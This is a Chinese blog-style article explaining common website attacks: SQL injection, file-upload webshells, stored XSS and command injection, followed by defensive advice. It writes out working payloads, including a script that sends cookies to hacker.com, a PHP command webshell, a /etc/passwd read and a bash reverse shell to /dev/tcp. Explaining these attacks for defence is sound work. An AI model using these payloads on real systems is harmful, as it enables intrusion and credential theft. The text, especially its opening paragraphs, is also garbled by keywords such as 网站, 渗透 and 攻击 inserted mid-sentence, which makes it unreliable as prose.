2023年秋天，网站一个做电商的渗透朋友半夜给我打电话，说后台多了十几个没见过的攻击管理员账号。我让他别碰服务器，网站先截图。渗透登录日志里有个IP来自荷兰，攻击操作时间集中在凌晨三点到四点之间。网站攻击者没用什么高深漏洞，渗透就是攻击拿他公司官网的搜索框，填了一段SQL代码，网站把用户表整个拖走了。渗透

这就是攻击最典型的网站渗透。很多人以为黑客得会写病毒、网站玩逆向，渗透其实大部分入侵靠的攻击是“捡漏”——找那些开发者没关好的门。SQL注入排第一，因为太多人写代码时直接把用户输入拼进数据库查询里。你搜“手机壳”，后端执行的是SELECT * FROM products WHERE name LIKE '%手机壳%'，那搜' OR 1=1 --呢？整个表就出来了。朋友那个站，连密码都没加密存，攻击者拿到账号直接登后台，顺手加了几个自己的号。

比SQL注入更省事的是文件上传漏洞。我见过一个企业站，招聘页面允许传简历，但只在前端用JS判断后缀。攻击者把shell.php改成shell.php.jpg传上去，服务器端没校验，直接解析成PHP执行。一个system($_GET['cmd'])就能在服务器上跑任意命令。那个站后来被用来挖矿，CPU跑满，运维还以为是流量涨了。

跨站脚本（XSS）没那么直接，但更阴。你在评论区发一段<script>fetch('http://hacker.com/steal?c='+document.cookie)</script>，只要有人看这条评论，他的登录凭证就发到攻击者服务器了。存储型XSS最要命，因为每个访问页面的用户都会中招。2018年某知名论坛被挂XSS，攻击者用管理员cookie登后台，把首页改成了黑页。修复花了六个小时，但数据早被拖干净了。

命令注入也常见。有些网站调系统命令处理图片，比如convert user.jpg -resize 50% out.jpg。如果文件名没过滤，传个; cat /etc/passwd，服务器就把密码文件回显给你。我试过一个站，参数是?ip=127.0.0.1，改成?ip=127.0.0.1; whoami，直接返回www-data。再往下，; bash -i >& /dev/tcp/我的IP/4444 0>&1，反弹shell就拿到了。

这些漏洞背后是同一个问题：信任了不该信任的输入。开发者总觉得“用户不会那么坏”，或者“前端已经校验了”。但攻击者不按你的规则来。他们会用Burp Suite抓包改参数，会拿sqlmap自动跑注入，会拿dirsearch扫目录找备份文件。www.zip、.git、config.php.bak——这些文件放在web目录里，等于把钥匙插在门上。

防御没那么复杂，但得认真做。所有数据库查询用预编译语句，别拼字符串。文件上传白名单后缀，存到web目录外，改文件名。输出到页面的内容做HTML实体编码。系统命令能不用就不用，非用不可就严格过滤参数。还有，别把备份文件、配置文件、日志文件放在能访问的路径下。我见过一个站，/logs/access.log直接能下载，里面全是攻击payload和后台地址。

渗透测试和攻击的区别只在授权。没授权就是犯罪，有授权就是找漏洞修漏洞。朋友那个站后来重写了用户输入处理，加了WAF，但数据已经泄露了。他问我怎么防，我说先别写新功能，把现有代码里所有$_GET、$_POST、$_REQUEST的地方翻一遍，每个都问一句：如果这里输入的是' OR 1=1 --会怎样？

网站渗透没那么多玄学。大部分被黑掉的站，不是被0day打穿的，是开发者忘了关窗。攻击者只是挨个推了推。